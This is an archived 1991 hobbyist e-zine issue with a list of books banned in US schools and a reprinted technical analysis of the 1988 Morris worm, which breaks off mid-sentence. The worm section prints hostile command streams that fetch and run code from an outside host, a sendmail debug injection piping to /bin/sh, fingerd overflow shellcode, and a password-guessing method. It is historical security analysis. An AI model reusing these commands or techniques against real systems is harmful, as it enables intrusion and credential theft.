informis
/
textfiles
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
textfiles/magazines/WORLDVIEW/wview1.2

1405 lines
73 KiB
Groff
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

Der Weltanschauung Magazine (The WorldView)
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% %
% Editor: The Desert Fox D E R %
% Co-Editor: Rev. Scott Free %
% %
% W E L T A N S C H A U U N G %
% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
May 4, 1991 Vol. 1, Issue 2.
(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Material Written By Computer And Telecommunications Hobbyists World Wide
Promoting the publication of Features, Editorials, and Anything Else....
To submit material, or to subscribe to the magazine in hardcopy, send a
SASE to: WorldView
11504 Hughes #124 Weltanschauung Distribution Site:
Houston, Texas U.S.A. 77089 Rivendell BBS
********************************* (713)333-5666
* OFFICIAL Distribution Sites: * 3/12/2400 Bps
* * FIDO: 1:106/333
* The Dickinson Nightlight * InterNet Fox@Nuchat.sccsi.com
* (713)337-1452 FIDO: 1:106/995 *
* * Send Net Subscriptions to 1:106/333
* Apocalyptic Funhouse * Your copy will be mailed upon release!
* (713)531-1139 *
*********************************
"Free association, liberty, limited to maintaining equality in the means of
production and equivalence in exchange, is the only possible form of society,
the only just and the only true one. Politics is the science of freedom; the
government of man by man under whatever name it is disguised, is oppression:
the high perfection of society consists in the union of order and anarchy."
-Pierre-Joseph Proudhon
Table Of Contents
<1> Censored Books In The USA
<2> The Shockwave Rider [Part 2 of 3]
<3> Information Age Conspiracy:
Adventures In Creative Paranioa
By The Rev. Scott Free
<4> Baud...What Is It?
<5> Pig Patrol Warning...Humor At It's
Best!
<6> Reader's Comments
<7> Editor's Comments
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
********** Censored Books **********
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Responding to the Meese commission's official approval of pressure-group
censorship, Waldenbooks staged a promotion featuring 52 volumes that had been
"challenged, burned or banned somewhere in the United States in the last 15
years." The titles and the reasons for outrage against these books are so
astounding that we decided to publish the complete list.
THE BASTARD, by John Jakes.
Removed from Montour (Pennsylvania) High School library, 1976.
BLOODLINE, by Sidney Sheldon.
Challenged in Abingdon, Virginia, 1980;
Elizabethton, Tennessee, 1981.
BRAVE NEW WORLD, by Aldous Huxley.
Removed from classroom, Miller, Missouri, 1980.
Challenged frequently throughout the U.S.
CARRIE, by Stephen King.
Considered "trash" that is especially harmful for "younger girls."
Challenged by Clark High School library, Las Vegas, Nevada, 1975.
Placed on special closed shelf in Union High School library, Vergennes,
Vermont, 1978.
THE CATCHER IN THE RYE, by J.D. Salinger.
Considered "dangerous" because of vulgarity, occultism, violence and sexual
content.
Banned in Freeport High School, DeFuniak Springs, Florida, 1985.
Removed from
Issaquah, Washington, optional high school reading list, 1978;
required reading list, Middleville, Michigan, 1979.;
Jackson-Milton school libraries, North Jackson, Ohio, 1980;
Anniston, Alabama, high school libraries, 1982.
Challenged by Libby (Montana) High School, 1983.
CATCH-22, by Joseph Heller.
Considered "dangerous" because of objectionable language.
Banned in Strongsville, Ohio, 1972 (overturned in 1976).
Challenged by Dallas, Texas, Independent School District high school
libraries, 1974,
Snoqualmie, Washington, 1979.
THE CLAN OF THE CAVE BEAR, by Jean M. Auel.
Challenged by numerous public libraries.
A CLOCKWORK ORANGE, by Anthony Burgess.
"Objectionable" language.
Removed from
Westport, Rhode Island, high school classrooms, 1977;
Aurora, Colorado, high school classrooms, 1976;
Anniston, Alabama, high school libraries, 1982.
THE COLOR PURPLE, by Alice Walker.
Considered inappropriate because of its "troubling ideas about race relations,
man's relationship to God, African history and human sexuality."
Challenged by Oakland, California, high school honors class, 1984;
rejected for purchase by Hayward, California, school trustees.
THE CRUCIBLE, by Arthur Miller.
Considered dangerous because it contains "sick words from the mouths of
demon-possessed people."
Challenged by Cumberland Valley High School, Harrisburg, Pennsylvania,
1982.
CUJO, by Stephen King.
Profanity and strong sexual content cited as reasons for opposition.
Banned by Washington County, Alabama, Board of Education, 1985;
challenged by Rankin County, Mississippi, School District, 1984;
removed from Bradford, New York, school library, 1985;
rejected for purchase by Hayward, California, school trustees, 1985.
DEATH OF A SALESMAN, by Arthur Miller.
Cited for profanity.
Banned by Spring Valley Community High School, French Lick, Indiana,
1981;
challenged by Dallas, Texas, Independent School District high school
libraries, 1974.
THE DEVIL'S ALTERNATE, by Frederick Forsyth.
Removed by Evergreen School District, Vancouver, Washington, 1983.
THE DIARY OF A YOUNG GIRL, by Anne Frank.
Objections to sexually offensive passages.
Challenged by Wise County, Virginia, 1982;
Alabama State Book Committee, 1983.
EAST OF EDEN, by John Steinbeck.
Considered "ungodly and obscene."
Removed from Anniston, Alabama, high school libraries, 1982;
Morris, Manitoba, school libraries, 1982.
A FAREWELL TO ARMS, by Ernest Hemingway.
Labeled as a "sex novel."
Challenged by Dallas, Texas, Independent School District high school
libraries, 1974;
Vernon-Verona-Sherill, New York, School District, 1980.
FIRESTARTER, by Stephen King.
Cited for "graphic descriptions of sexual acts, vulgar language and violence."
Challenged by Campbell County, Wyoming, school system, 1983-1984.
FLOWERS FOR ALGERNON, by Daniel Keyes.
Explicit, distasteful love scenes cited among reasons for opposition.
Banned by Plant City, Florida, 1976;
Emporium, Pennsylvania, 1977;
Glen Rose (Arkansas) High School library, 1981.
Challenged by Oberlin (Ohio) High School, 1983;
Glenrock (Wyoming) High School, 1984.
FLOWERS IN THE ATTIC, by V.C. Andrews.
Considered "dangerous" because it contains "offensive passages concerning
incest and sexual intercourse."
Challenged by Richmond (Rhode Island) High School, 1983.
FOREVER, by Judy Blume.
Detractors cite its "four-letter words and [talk] about masturbation, birth
control and disobedience to parents."
Challenged by Midvalley Junior-Senior High School library, Scranton,
Pennsylvania, 1982;
Orlando, Florida, schools, 1982;
Akron, Ohio, School District libraries, 1983;
Howard-Suamico (Wisconsin) High School, 1983;
Holdredge, Nebraska, Public Library, 1984;
Cedar Rapids, Iowa, Public Library, 1984;
Patrick County, Virginia, School Board, 1986;
Park Hill (Missouri) South Junior High School library,
1982.
THE GRAPES OF WRATH, by John Steinbeck.
Considered "dangerous" because of obscene language and the unfavorable
depiction of a former minister.
Banned in Kanawha, Iowa, 1980; Morris, Manitoba, 1982.
Challenged by Vernon-Verona-Sherill, New York, School District, 1980;
Richford, Vermonth, 1991.(?)
HARRIET THE SPY, by Louise Fitzhugh.
Considered "dangerous" because it "teaches children to lie, spy, back-talk
and curse."
Challenged by Xenia, Ohio, school libraries, 1983.
HUCKLEBERRY FINN, by Mark Twain.
Considered "dangerous" because of objectionable language and "racist" terms
and content.
Challenged by Winnetka, Illinois, 1976;
Warrington, Pennsylvania, 1981;
Davenport, Iowa, 1981;
Fairfax County, Virginia, 1982;
Houston, Texas, 1982;
State College, Pennsylvania, area school district
1983;
Springfield, Illinois, 1983
Waukegan, Illinois, 1984.
I KNOW WHY THE CAGED BIRD SINGS, by Maya Angelou.
Considered "dangerous" because it preaches "bitterness and hatred against
whites."
Challenged by Alabama State Textbook Committee, 1983.
GGIE'S HOUSE, by Judy Blume.
Challenged by Caspar, Wyoming, school libraries, 1984.
IT'S OKAY IF YOU DON'T LOVE ME, by Norma Klein.
Considered "dangerous" because it portrays "sex as the only thing on your
people's minds."
Banned in Haywood County, California, 1981.
Removed by Widefield (Colorado) High School, 1983;
Vancouver, Washington, School District, 1984.
THE LIVING BIBLE, by William C. Bower.
Considered "dangerous" because it is "a perverted commentary on the King James
Version."
Burned in Gastonia, North Carolina, 1986.
LORD OF THE FLIES, by William Golding.
Considered "demoralizing inasmuch as it implies that man is little more than
an animal."
Challenged by Dallas, Texas, Independent School District high school
libraries, 1974;
Sully Buttes (South Dakota) High School, 1981;
Owen (North Carolina) High School, 1981;
Marana (Arizona) High School, 1983;
Olney, Texas, Independent School District, 1984.
LOVE IS ONE OF THE CHOICES, by Norma Klein.
Removed from Evergreen School District, Vancouver, Washington, 1983.
THE MARTIAN CHRONICLES, by Ray Bradbury.
Profanity and the use of God's name in vain sparked opposition to this novel.
Challenged by Haines City (Florida) High School, 1982.
MATARESE CIRCLE, by Robert Ludlum.
"Unnecessarily rough language and sexual descriptions" caused opposition to
this novel.
Restricted (to students with parental consent) by Pierce (Nebraska)
High School, 1983.
THE MERCHANT OF VENICE, by William Shakespeare.
Objections to purported anti-Semitism.
Banned by Midland, Michigan, classrooms, 1980.
NINETEEN EIGHTY-FOUR, by George Orwell. Objections to pro- Communist material
and explicit sexual matter.
Challenged by Jackson County, Florida, 1981.
OF MICE AND MEN, by John Steinbeck.
Considered "dangerous" because of its profanity and "vulgar language."
Banned in Syracuse, Indiana, 1974;
Oil City, Pennsylvania, 1977;
Grand Blanc, Michigan, 1979;
Continental, Ohio, 1980l
Skyline High School, Scottsboro, Alabama, 1983.
Challenged by Greenville, South Carolina, 1977;
Vernon-Verona- Sherill, New York, School District, 1980;
St. David, Arizona, 1981;
Telly City, Indiana, 1982;
Knoxville, Tennessee, School Board, 1984.
ONE DAY IN THE LIFE OF IVAN DENISOVICH, by Alexander Solzhenitsyn.
Objectionable language.
Removed by Milton (New Hampshire) High School library, 1976.
Challenged by Mahwah, New Jersey, 1976;
Omak, Washington, 1979;
Mohawk Trail Regional High School, Buckland, Mass, 1981.
ONE FLEW OVER THE CUCKOO'S NEST, by Ken Kesey.
Removed from required reading list by Westport, Massachusetts, 1977.
Banned by Freemont High School, St. Anthony, Idaho. (Instructor was
fired.)
Challenged by Merrimack (New Hampshire) High School, 1982.
ORDINARY PEOPLE, bu Judith Guest.
Called "obscene" and "depressing."
Banned (temporarily) by Merrimack (New Hampshire) High School, 1982.
OTHERWISE KNOWN AS SHEILA THE GREAT, by Judy Blume.
Challenged by Caspar, Whyoming, school libraries, 1984.
THE PIGMAN, by Paul Zindel.
Considered "dangerous" because it features "liars, cheaters and stealers."
Challenged by Hillsboro, Missouri, School District, 1985.
THE RED PONY, by John Steinbeck.
Called a "filthy, trashy sex novel."
Challenged by Vernon-Verona-Sherill, New York, School District, 1980.
THE SEDUCTION OF PETER S., by Lawrence Sanders.
Called "blatantly graphic, pornographic and wholly unacceptable for a high
school library."
Burned by Stroudsburg (Pennsylvania) High School library, 1985.
A SEPARATE PEACE, by John Knowles.
Detractors cite offensive language and sex as dangerous elements in this novel.
Challenged by Vernon-Verona-Sherill, New York, School District, 1980;
Fannett-Metal High School, Shippensburg, Pa, 1985.
THE SHINING, by Stephen King.
Considered dangerous because it "contains violence and demonic possession and
ridicules the Christian religion."
Challenged by Campbell County, Wyoming, school system, 1983.
Banned by Washington County, Alabama, Board of Education, 1985.
SILAS MARNER, by George Eliot.
Banned by Union High School, Anaheim, California, 1978.
SLAUGHTERHOUSE-FIVE, by Kurt Vonnegut, Jr.
Considered "dangerous" because of violent, irreverent, profane and sexually
explicit content.
Burned in Drake, North Carolina, 1973;
Rochester, Michigan, 1972;
Levittown, New York, 1975;
North Jackson, Ohio, 1979;
Lakeland, Florida, 1982.
Barred from purchase by Washington Park High School, Racine, Wi, 1984.
Challenged by Owensboro (Kentucky) High School library, 1985.
SUPERFUDGE, by Judy Blume. Disapproval based on "profane, immoral and
offensive" content.
Challenged by Caspar, Wyoming, school libraries, 1984;
Bozeman, Montana, school libraries, 1985.
THAT WAS THEN, THIS IS NOW, by S.E. Hinton.
Objections to "graphic language, subject matter, immoral tone and lack of
literary quality."
Challenged by Pagosa Springs, Colorado, 1983.
TO KILL A MOCKINGBIRD, by Harper Lee.
Considered "dangerous" because of profanity and undermining of race relations.
Challenged (temporaily banned) in Eden Valley, Minnesota, 1977;
Vernon-Verona-Sherill, New York, School District, 1980;
Warren, Indiana, township schools, 1981;
Waukegan, Illinois, School District, 1984;
Kansas City, Missouri, junior high schools, 1985;
Park Hill (Missouri) Junior High School, 1985.
Protested by black parents and NAACP in Casa Grande (Arizona)
Elementary School District, 1985.
ULYSSES, by James Joyce.
"Given its long history of censorship, ULYSSES has rarely been selected for
high school libraries." -- Judith Krug, director, Office for Intellectual
Freedom, American Library Association, 1986.
UNCLE TOM'S CABIN, by Harriet B. Stowe.
Use of the word nigger caused opposition.
Challenged by Waukegan, Illinois, School District, 1984.
WHERE THE SIDEWALK ENDS, by Shel Silverstein.
Considered by opponents to undermine parental, school and religious authority.
Pulled from shelves for review by Minot, North Dakota, public school
libraries, 1986.
Challenged by Xenia, Ohio, school libraries, 1983..
Sources for all of the above information: American Library Association
RESOURCE BOOK FOR BANNED BOOK WEEK 1986 and the NEWSLETTER ON INTELLECTUAL
FREEDOM, published by the Office for Intellectual Freedom. Complete
documentation is available from the American Library Association.
Robert Morris: Part 2 of 3...The Aftermath
Crisis and Aftermath On the evening of November 2, 1988 the Internet came
under attack from within. Sometime after 5 p.m., a program was executed on
one or more hosts connected to the Internet. That program collected host,
network, and user information, then used that information to break into other
machines using flaws present in those systems' software. After breaking in,
the program would replicate itself and the replica would attempt to infect
other systems in the same manner.
Although the program would only infect Sun Micro-systems' Sun 3 systems and
VAX computers running variants of 4 BSD UNIX, the program spread quickly, as
did the confusion and consternation of system administrators and users as
they discovered the invasion of their systems. The scope of the break-ins
came as a great surprise to almost everyone, despite the fact that UNIX has
long been known to have some security weaknesses (cf. [4, 12, 13]).
The program was mysterious to users at sites where it appeared. Unusual files
were left in the /usr/tmp directories of some machines, and strange messages
appeared in the log files of some of the utilities, such as the sendmail mail
handling agent. The most noticeable effect, however, was that systems became
more and more loaded with running processes as they became repeatedly
infected. As time went on, some of these machines became so loaded that they
were unable to continue any processing; some machines failed completely when
their swap space or process tables were exhausted.
By early Thursday morning, November 3, personnel at the University of
California at Berkeley and Massachusetts Institute of Technology (MIT) had
"captured" copies of the program and began to analyze it. People at other
sites also began to study the program and were developing methods of
eradicating it. A common fear was that the program was somehow tampering
with system resources in a way that could not be readily detected--that while
a cure was being sought, system files were being altered or information
destroyed. By 5 a.m. Thursday morning, less than 12 hours after the program
was first discovered on the network, the Computer Systems Research Group at
Berkeley had developed an interim set of steps to halt its spread. This
included a preliminary patch to the sendmail mail agent. The suggestions
were published in mailing lists and on the Usenet, although their spread was
hampered by systems disconnecting from the Internet to attempt a
"quarantine."
By about 9 p.m. Thursday, another simple, effective method of stopping the
invading program, without altering system utilities, was discovered at Purdue
and also widely published. Software patches were posted by the Berkeley
group at the same time to mend all the flaws that enabled the program to
invade systems. All that remained was to analyze the code that caused the
problems and discover who had unleashed the worm--and why. In the weeks that
followed, other well-publicized computer break-ins occurred and a number of
debates began about how to deal with the individuals staging these invasions.
There was also much discussion on the future roles of networks and security.
Due to the complexity of the topics, conclusions drawn from these discussions
may be some time in coming. The on-going debate should be of interest to
computer professionals everywhere, however.
HOW THE WORM OPERATED
The worm took advantage of some flaws in standard software installed on many
UNIX systems. It also took advantage of a mechanism used to simplify the
sharing of resources in local area networks. Specific patches for these
flaws have been widely circulated in days since the worm program attached the
Internet.
Fingerd
The finger program is a utility that allows users to obtain information about
other users. It is usually used to identify the full name or login name of a
user, whether or not a user is currently logged in, and possibly other
information about the person such as telephone numbers where he or she can be
reached. The fingered program is intended to run as a daemon, or background
process, to service remote requests using the finger protocol. This daemon
program accepts connections from remote programs, reads a single line of
input, and then sends back output matching the received request.
The bug exploited to break fingered involved overrunning the buffer the daemon
used for input. The standard C language I/O library has a few routines that
read input without checking for bounds on the buffer involved. In
particular, the gets call takes input to a buffer without doing any bounds
checking; this was the call exploited by the worm. As will be explained
later, the input overran the buffer allocated for it and rewrote the stack
frame thus altering the behavior of the program.
The gets routine is not the only routine with this flaw. There is a whole
family of routines in the C library that may also overrun buffers when
decoding input or formatting output unless the user explicitly specifies
limits on the number of characters to be converted. Although experienced C
programmers are aware of the problems with these routines, they continue to
use them. Worse, their format is in some sense codified not only by
historical inclusion in UNIX and the C language, but more formally in the
forthcoming ANSI language standard for C. The hazard with these calls is
that any network server or privileged program using them may possibly be
compromised by careful precalculation of the (in)appropriate input.
Interestingly, at least two long-standing flaws based on this underlying
problem have recently been discovered in standard BSD UNIX commands. Program
audits by various individuals have revealed other potential problems, and
many patches have been circulated since November to deal with these flaws.
Unfortunately, the library routines will continue to be used, and as our
memory of this incident fades, new flaws may be introduced with their use.
Sendmail
The sendmail program is a mailer designed to route mail in a heterogeneous
internetwork. The program operates in a number of modes, but the one
exploited by the worm involves the mailer operating as a daemon (background)
process. In this mode, the program is "listening" on a TCP port (#25) for
attempts to deliver mail using the standard Internet protocol, SMTP (Simple
Mail Transfer Protocol). When such an attempt is detected, the daemon enters
into a dialog with the remote mailer to determine sender, recipient, delivery
instructions, and message contents.
The bug exploited in sendmail had to do with functionality provided by a
debugging option in the code. The worm would issue the DEBUG command to
sendmail and then specify a set of commands instead of a user address. In
normal operation, this is not allowed, but it is present in the debugging
code to allow testers to verify that mail is arriving at a particular site
without the need to invoke the address resolution routines. By using this
option, testers can run programs to display the state of the mail system
without sending mail or establishing a separate login connection. The debug
option is often used because of the complexity of configuring sendmail for
local conditions, and it is often left turned on by many vendors and site
administrators.
The sendmail program is of immense importance on most Berkeley-derived (and
other) UNIX systems because it handles the complex tasks of mail routing and
delivery. Yet, despite its importance and widespread use, most system
administrators know little about how it works. Stories are often related
about how system administrators will attempt to write new device drivers or
otherwise modify the kernel of the operating system, yet they will not
willingly attempt to modify sendmail or its configuration files.
It is little wonder, then, that bugs are present in sendmail that allow
unexpected behavior. Other flaws have been found and reported now that
attention has been focused on the program, but it is not known for sure if
all the bugs have been discovered and all the patches circulated.
Passwords
A key attack of the worm involved attempts to discover user passwords. It
was able to determine success because the encrypted password of each user was
in a publicly readable file. In UNIX systems, the user provides a password
at sign-on to verify identity. The password is encrypted using a permuted
version of the Data Encryption Standard (DES) algorithm, and the result is
compared against a previously encrypted version present in a word-readable
accounting file. If a match occurs, access is allowed. No plaintext
passwords are contained in the file, and the algorithm is supposedly
noninvertible without knowledge of the password.
The organization of the passwords in UNIX allows nonprivileged commands to
make use of information stored in the accounts file, including
authentification schemes using user passwords. However, it also allows an
attacker to encrypt lists of possible passwords and then compare them against
the actual passwords without calling any system function. In effect, the
security of the passwords is provided by the prohibitive effort of trying
this approach with all combinations of letters. Unfortunately, as machines
get faster, the cost of such attempts decreases. Dividing the task among
multiple processors further reduces the time needed to decrypt a password.
Such attacks are also made easier when users choose obvious or common words
for their passwords. An attacker need only try lists of common words until a
match is found.
The worm used such an attack to break passwords. It used lists of words,
including the standard online dictionary, as potential passwords. It
encrypted them using a fast version of the password algorithm and then
compared the result against the contents of the system file. The worm
exploited the accessibility of the file coupled with the tendency of users to
choose common words as their passwords. Some sites reported that over 50
percent of their passwords were quickly broken by this simple approach.
One way to reduce the risk of such attacks, and an approach that has already
been taken in some variants of UNIX, is to have a shadow password file. The
encrypted passwords are saved in a file (shadow) that is readable only by the
system administrators, and a privileged call performs password encryptions
and comparisons with an appropriate timed delay (0.5 to 1 second, for
instance). This would prevent any attempt to "fish" for passwords.
Additionally, a threshold could be included to check for repeated password
attempts from the same process, resulting in some form of alarm being raised.
Shadow password files should be used in combination with encryption rather
than in place of such techniques, however, or one problem is simply replaced
by a different one (securing the shadow file); the combination of the two
methods is stronger than either one alone.
Another way to strengthen the password mechanism would be to change the
utility that sets user passwords. The utility currently makes a minimal
attempt to ensure that new passwords are nontrivial to guess. The program
could be strengthened in such a way that it would reject any choice of a word
currently in the online dictionary or based on the account name.
A related flaw exploited by the worm involved the use of trusted logins. One
of the most useful features of BSD UNIX-based networking code is the ability
to execute tasks on remote machines. To avoid having to repeatedly type
passwords to access remote accounts, it is possible for a user to specify a
list of host/login name pairs that are assumed to be "trusted," in the sense
that a remote access from that host/login pair is never asked for a password.
This feature has often been responsible for users gaining unauthorized access
to machines (cf. [11]), but it continues to be used because of its great
convenience.
The worm exploited the mechanism by locating machines that might "trust" the
current machine/login being used by the worm. This was done by examining
files that listed remote machine/logins used by the host. Often, machines
and accounts are reconfigured for reciprocal trust. Once the worm found such
likely candidates, it would attempt to instantiate itself on those machines
by using the remote execution facility--copying itself to the remote machines
as if it were an authorized user performing a standard remote operation.
To defeat such future attempts requires that the current remote access
mechanism be removed and possibly replaced with something else. One
mechanism that shows promise in this area is the Kerberos authentication
server. This scheme uses dynamic session keys that need to be updated
periodically. Thus, an invader could not make use of static authorizations
present in the file system.
High Level Description
The worm consisted of two parts: a main program, and a bootstrap or vector
program. The main program, once established on a machine, would collect
information on other machines in the network to which the current machine
could connect. It would do this by reading public configuration files and by
running system utility programs that present information about the current
state of network connections. It would then attempt to use the flaws
described above to establish its bootstrap on each of those remote machines.
The worm was brought over to each machine it infected via the actions of a
small program commonly referred to as the vector program or as the grappling
hook program. Some people have referred to it as the l1.c program, since
that is the file name suffix used on each copy.
This vector program was 99 lines of C code that would be compiled and run on
the remote machine. The source for this program would be transferred to the
victim machine using one of the methods discussed in the next section. It
would then be compiled and invoked on the victim machine with three command
line arguments: the network address of the infecting machine, the number of
the network port to connect to on that machine to get copies of the main worm
files, and a magic number that effectively acted as a one-time-challenge
password. If the "server" worm on the remote host and port did not receive
the same magic number back before starting the transfer, it would immediately
disconnect from the vector program. This may have been done to prevent
someone from attempting to "capture" the binary files by spoofing a worm
"server."
This code also went to some effort to hide itself, both by zeroing out its
argument vector (command line image), and by immediately forking a copy of
itself. If a failure occurred in transferring a file, the code deleted all
files it had already transferred, then it exited.
Once established on the target machine, the bootstrap would connect back to
the instance of the worm that originated it and transfer a set of binary
files (precompiled code) to the local machine. Each binary file represented
a version of the main worm program, compiled for a particular computer
architecture and operating system version. The bootstrap would also transfer
a copy of itself for use in infecting other systems. One curious feature of
the bootstrap has provoked many questions, as yet unanswered: the program had
data structures allocated to enable transfer of up to 20 files; it was used
with only three. this has led to speculation whether a more extensive
version of the worm was planned for a later date, and if that version might
have carried with it other command files, password data, or possibly local
virus or trojan horse programs.
Once the binary files were transferred, the bootstrap program would load and
link these files with the local versions of the standard libraries. One
after another, these programs were invoked. If one of them ran successfully,
it read into its memory copies of the bootstrap and binary files and then
deleted the copies on disk. It would then attempt to break into other
machines. If none of the linked versions ran, then the mechanism running the
bootstrap (a command file or the parent worm) would delete all the disk files
created during the attempted infection.
Step-by-Step Description
This section contains a more detailed overview of how the worm program
functioned. The description in this section assumes that the reader is
somewhat familiar with standard UNIX commands and with BSD UNIX network
facilities. A more detailed analysis of operation and components can be
found in [16], with additional details in [3] and [15].
This description starts from the point at which a host is about to be
infected. At this point, a worm running on another machine has either
succeeded in establishing a shell on the new host and has connected back to
the infecting machine via a TCP connection, or it has connected to the SMTP
port and is transmitting to the sendmail program. The infection proceeded as
follows:
1. A socket was established on the infecting machine for the vector program
to connect to (e.g., socket number 32341). A challenge string was
constructed from a random number (e.g., 8712440). A file name base was also
constructed using a random number (e.g., 14481910).
2. The vector program was installed and executed using one of two methods:
a. Across a TCP connection to a shell, the worm would send the following
commands (the three lines beginning with "cc" and the two lines beginning
with "echo" were sent as a single line): PATH=/bin:/usr/bin:/usr/ucb cd;
/usr/tmp echo gorch49; sed '/int zz/q' > x14481910.c; echo gorch50 [text of
vector program] int zz; cc -o z14481910 x14481910.c;./x14481910 128.32.134.16
32341 8712440; rm -f x14481910 x14481910.c; echo DONE
Then it would wait for the string "DONE" to signal that the vector program
was running.
b. Using the SMTP connection, it would transmit (the three lines beginning
with "cc" and the two lines beginning with "rcpt" were sent as a single
line): debug mail from: </dev/null> rcpt to: <"!sed -e '1,/*$/'d! /bin/sh;
exit 0"> data cd /usr/tmp cat > x14481901.c << 'EOF' [text of vector program]
EOF cc -o x14481910 x14481910.c; x14481910 128.32.134.16 32341 8712440; rm -f
x14481910 x14481910.c quit
The infecting worm would then wait for up to two minutes on the designated
port for the vector to contact it.
3. The vector program then connected to the "server," sent the challenge
string, and transferred three files: a Sun 3 binary version of the worm, a
VAX version, and the source code for the vector program. After the files
were copied, the running vector program became (via the execl call) a shell
with its input and output still connected to the server worm.
4. The server worm sent the following command stream to the connected shell:
PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x14481910 else P=sh
fi
Then, for each binary file it had transferred (just two in this case,
although the code is written to allow more), it would send the following form
of command sequence: cc -o $P x14481910, sun3.o ./$P -p $$ x14481910,sun3.o
x14481910,vax.o x14481910,11.c rm -f $P
The rm would succeed only if the linked version of the worm failed to start
execution. If the server determined that the host was now infected, it
closed the connection. Otherwise, it would try the other binary file. After
both binary files had been tried, it would send over rm commands for the
object files to clear away all evidence of the attempt at infection.
5. The new worm on the infected host proceeded to "hide" itself by obscuring
its argument vector, unlinking the binary version of itself, and killing its
parent (the $$ argument in the invocation). It then read into memory each of
the worm binary files, encrypted each file after reading it, and deleted the
files from disk.
6. Next, the worm gathered information about network interfaces and hosts to
which the local machine was connected. It built lists of these in memory,
including information about canonical and alternate names and addresses. It
gathered some of this information by making direct ioctl calls, and by
running the netstat program with various arguments. It also read through
various system files looking for host names to add to its database.
7. It randomized the lists it constructed, then attempted to infect some of
those hosts. For directly connected networks, it created a list of possible
host numbers and attempted to infect those hosts if they existed. Depending
on the type of host (gateway or local network), the worm first tried to
establish a connection on the telnet or rexec ports to determine reachability
before it attempted one of the infection methods.
8. The infection attempts proceeded by one of three routes: rsh, fingerd, or
sendmail.
a. The attack via rsh was done by attempting to spawn a remote shell by
invocation of (in order of trial) /usr/ucb/rsh, /usr/bin/rsh, and /bin/rsh.
If successful, the host was infected as in steps 1 and 2(a).
b. The attack via the finger daemon was somewhat more subtle. A connection
was established to the remote finger server daemon and then a specially
constructed string of 536 bytes was passed to the daemon, overflowing its
input buffer and overwriting parts of the stack. For standard 4BSD versions
running on VAX computers, the overflow resulted in the return stack frame for
the main routine being changed so that the return address pointed into the
buffer on the stack. The instructions that were written into the stack at
that location were: pushl $68732f '/sh\0' pushl $6e69622f '/bin' movl sp, r10
pushl $0 pushl $0 pushl r10 pushl $3 movl sp,ap chmk $3b
That is, the code executed when the main routine attempted to return was:
execve("/bin/sh", 0, 0)
On VAXs, this resulted in the worm connected to a remote shell via the TCP
connection. The worm then proceeded to infect the host as in steps 1 and
2(a). On Suns, this simply resulted in a core dump since the code was not in
place to corrupt a Sun version of fingerd in a similar fashion. Curiously,
correct machine-specific code to corrupt Suns could have been written in a
matter of hours and included, but was not [16].
c. The worm then tried to infect the remote host by establishing a connection
to the SMTP port and mailing an infection, as in step 2(b).
Not all the steps were attempted. As soon as one method succeeded, the host
entry in the internal list was marked as infected and the other methods were
not attempted.
9. Next, it entered a state machine consisting of five states. Each state but
the last was run for a short while, then the program looped back to step 7
(attempting to break into other hosts via sendmail, finger, or rsh). The
first four of the five states were attempts to break into user accounts on
the local machine. The fifth state was the final state, and occurred after
all attempts had been made to break all passwords. In the fifth state, the
worm looped forever trying to infect hosts in its internal tables and marked
as not yet infected. The first four states were:
a. The worm read through the /etc/hosts.equiv files and /.rhosts files to
find the names of equivalent hosts. These were marked in the internal table
of hosts. Next, the worm read the /etc/passwd (the account and password
file) file into an internal data structure. As it was doing this, it also
examined the .forward file (used to forward mail to a different host
automatically) in each user home directory and included those host names in
its internal table of hosts to try. Oddly, it did not similarly check user
.rhosts files.
b. The worm attempted to break each user password using simple choices. The
worm first checked the obvious case of no password. Then, it used the account
name and user information field to try simple passwords. Assume that the
user had an entry in the password file like:
account:abcdefghijklm:100:5:User, Name:/usr/account:/bin/sh
(These represent, respectively, the account name, the encrypted password, the
user ID number, the user's default group ID number, per-user information
field, the pathname of the user's home account, and the pathname of the
user's default command interpreter or shell.) The words tried as potential
passwords would be account, accountaccount, User, Name, user, name, and
tnuocca. These are, respectively, the account name, the account name
concatenated with itself, the first and last names of the user, the user
names with leading capital letters turned to lowercase, and the account name
reversed. Experience described in [4] indicates that on systems where users
are naive about password security, these choices may work for a significant
percentage of user accounts.
Step 10 describes what was done if a password "hit" was achieved.
c. The third stage in the process involved trying to break the password of
each user by trying each word present in an internal dictionary of words.
This dictionary of 432 words was tried against each account in a random
order, with password "hits" being handled as described in step 10. (The
complete dictionary is given in [16].)
d. The fourth stage was entered if all other attempts failed. For each word
in the UNIX online dictionary, the worm would see if it was the password to
any account. In addition, if the word in the dictionary began with an
uppercase letter, the letter was converted to lowercase and that word was
also tried against all the passwords.
10. Once a password was broken for any account, the worm would attempt to
break into remote machines where that user had accounts. The worm would scan
the .forward and .rhosts files of the user at this point, and identify the
names of remote hosts that had accounts used by the target user. It then
attempted two attacks:
a. The worm would first attempt to create a remote shell using the rexec
service. The attempt would be made using the account name given in the
.forward or .rhosts file and the user's local password. This took advantage
of the fact that users often have the same password on their accounts on
multiple machines.
b. The worm would do a rexec to the current host (using the local user name
and password) and would try a rsh command to the remote host using the
username taken from the file. This attack would succeed in those cases where
the remote machine had a hosts.equiv file or the user had a .rhosts file that
allowed remote execution without a password.
If the remote shell was created either way, the attack would continue as in
steps 1 and 2(a). No other use was made of the user password.
Throughout the execution of the main loop, the worm would check for other
worms running on the same machine. To do this, the worm would attempt to
